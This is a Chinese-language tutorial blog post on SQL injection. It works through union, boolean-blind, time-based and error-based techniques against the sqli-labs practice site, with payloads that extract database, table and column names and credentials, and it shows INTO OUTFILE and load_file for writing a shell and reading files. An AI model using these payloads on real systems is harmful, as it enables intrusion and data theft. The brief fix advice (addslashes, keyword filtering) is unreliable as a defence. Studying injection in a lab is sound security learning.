zoukankan      html  css  js  c++  java
  • SQL注入理解

    SQL注入理解

    1. 定义/类型

    定义:简单来说,当客户端提交的数据未做处理或转义直接带入数据库就造成了SQL注入。

    注入类型分为:
    1. 整型(没有单双引号)
    2. 字符串(有单双引号)
    3. 其他细分的类型本质上就是整型和字符串的区别
    

    2.联合注入

    • 判断整型注入还是字符型注入

      and 1=2 //页面正常-->不是整型注入
      id=1'	//加单引号,页面不正常,字符型注入
      --+ 将后面的语句注释掉,页面正常,判断为单引号注入
      
    • 获取字段总数

      • ‘ order by 3 --+
      • group by 3 //判断字段总数是否>=3
    • union连接查询(字段必须和表格字段总数相符)

      • select * from admin where id=1 union select 1,1,1; //union select 字段,字段,字段
      • select username,password from admin where id=1 union select 1,1; //union前后字段对应
    • 获取数据库信息

      • 爆破数据库名称
      http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
      
        mysql> select *from admin where username='hello' union select 1,database();
        +----------+----------+
        | username | password |
        +----------+----------+
        | hello    | 123      |
        | 1        | sqltest  |
        +----------+----------+
        //sqltest为数据库名称
      
      • 数据库版本version(),查看当前用户user()
    • 爆破数据库表

    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
    
    • union select 字段,字段,Table_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1

    • 爆破字段名

      select group_concat(column_name) from information_schema.columns where table_name='users'
      
      select *from admin where 1=1 union select 1,Table_NAME from information_schema.TABLES where TABLE_SCHEMA='sqltest';//信息点:数据库名和数据库中的表名
      
      select COLUMN_NAME from information_schema.COLUMNS where Table_NAME='admin';
      //已知表名找字段名
      获取字段下一条 limit 1,1
      
      最后已知字段和表名就可以获取内容啦!
      
      but,要是不能输入单引号或者双引号呢?
      
      'admin' ====>  0x61646d696e(ASCIIhex)
      

    3.导出数据库别名拿shell

    • 导出数据库

      select 内容 into outfile '路径';//路径的文件要不存在才能自动创建,路径也可以是网址,比如说phpstudy里的WWW
      select *from admin into outfile 'D:/1.sql';//文件内容是表格的数据
      select 'hello' into outfile 'd:/2.sql';//文件内容就是‘hello’
      
    • 读文件

      select load_file('e:/1.txt');//注意路径要加引号,文件要具有可读性(即权限)
      
    • html的锚点

      不能直接使用#注释符,转为html的编码%23;
      不用注释符闭合单引号的话,用 where '1'='1
      

    4.布尔注入

    select username,password from user where username='1' or 2>1 -- ' and password='123'
    分析:username=‘中间的'人为闭合,使得 or 2>1 可以执行’
    mysql的注释(很有用):空格--空格  或者 #
    
    • 不能使用><=,你还会做吗

    select username,password from user where username='1' or true;
    select username,password from user where username='1' or !false;
    mid(str,1,3)字符串截取
    ord()转成ascii码
    Length()统计字节长度
    步骤:(手工注入)
    1.获取数据库长度
    username=111' or Length(database()) >1 # &password=222;//布尔注入的结果为真假,所以要判断,知道长度后>改为=
    2.获取数据库名称
    ord(mid(database(),1,1))//对照ascii码表
    ord(mid(database(),2,1))
    ord(mid(database(),3,1))
    ...
    
    3.获取表数目
    or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=1; 
    4.获取表名长度
    第一个表长:
    select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
    第二个表长:
    select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;
    5.获取表名
    6.获取字段总数
    COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=
    7.获取字段长度
    8.获取字段名
    9.获取字段内容
    10.获取内容长度
    select length(concat(username,'-----'password)) from 表名 limit 0,1; 
    11.获取内容
    select concat(username,'-----'password) from 表名 limit 0,1;
    

    5. 延时注入(与布尔类似)

    if(条件,true,false)
    sleep(5);
    
    获取数据库总数
    select count(SCHEMA_NAME) from information_schema.SCHEMATA;
    获取数据库名称
    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1;
    延时注入
    sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)>1,0,5));
    

    6.MySQL之bug注入

    MySQL之bug注入 ```mysql 注意:表格的内容要有3条以上才有效

    1.爆数据库
    select concat(floor(rand(0)*2),'=',(select database()))as xx, count(1)from admin group by xx;
    ERROR 1062 (23000): Duplicate entry '1
    =sqltest' for key '<group_key>'

    2.爆表名
    select concat(floor(rand(0)*2),'=',(select (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))as xx, count(1)from admin group by xx;
    ERROR 1062 (23000): Duplicate entry '1
    =admin' for key '<group_key>'

    3.爆字段
    select concat(floor(rand(0)*2),'=',(select concat(username,'----',password) from admin limit 0,1)) as xx, count(1)from admin group by xx;
    ERROR 1062 (23000): Duplicate entry '1
    =bai----123' for key '<group_key>'

    //语法错误什么的错误代码是1064,报错注入的错误代码是1062

    
    #### 7.mysql之函数报错
    
    <img src="https://img2020.cnblogs.com/blog/381891/202009/381891-20200906130312178-968997535.png" alt="mysql之函数报错" style="zoom:68%;" />
    
    #### 8.修补sql漏洞
    
    ```mysql
    1.字符串addslashes()---转义/过滤关键字
    2.整型----+0/int()/过滤关键字
    

    9.判断是否存在注入

    1.加入单引号'提交,
    结果:如果出现错误提示,则该网站可能就存在注入漏洞。
    2.数字型判断是否有注入;
    语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
    结果:分别返回不同的页面,说明存在注入漏洞.
    分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
    如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
    也就表明程序有注入漏洞
    防注入解决办法:
    使用or 2>1 ; or 1>2来进行判断
      结果:分别返回不同的页面,说明存在注入漏洞.
      分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为
    假。
       记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面
    ,说明存在注入点。
     使用xor 1=1; xor 1=2
       结果:分别返回不同的页面,说明存在注入漏洞.
       分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
       记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
    页面,说明存在注入点。
    把and 1=1转换成URL编码形式后在提交
      and 1=1 URL编码:%41%4E%44%20%%31%3D%31
    使用-1;-0
      分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 
    URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的
    页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
    3.字符型判断是否有注入:
      语句:' and '1'=1;' and  '1=2(经典)
      结果:结果:分别返回不同的页面,说明存在注入漏洞.
      分析:加入' and '1'=1返回正确页面,加入' and  '1=2返回错误页面,说明有注入漏同。
      防注入解决办法:
      在URL的地址后面加上'%2B'(字符型)
      分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加
    上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1
    不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
    4.搜索型判断是否有注入:
    简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
    索%,如果正常返回,说明95%有洞了。
    说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
    操作:
    搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
    2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
    关键字%' and 1=1 and '%'='%
    关键字%' and 1=2 and '%'='%
    将and 1=1 换成注入语句就可以了
    

    转载自:https://my.oschina.net/u/4461956/blog/4546558

  • 相关阅读:
    Go语言版本的helloworld
    编译Elasticsearch源码
    Intellij IDEA将java源码打成jar包
    搭建Elasticsearch集群常见问题
    棣小天儿的第一个python程序
    Json反序列化Map的key不能是Object
    mac本配置python环境
    Timestamp解析0000-00-00 00:00:00报格式错误
    Spring-Mybatis配置多数据源
    mysql新建数据库时的collation选择(转)
  • 原文地址:https://www.cnblogs.com/haojile/p/13621400.html
Copyright © 2011-2022 走看看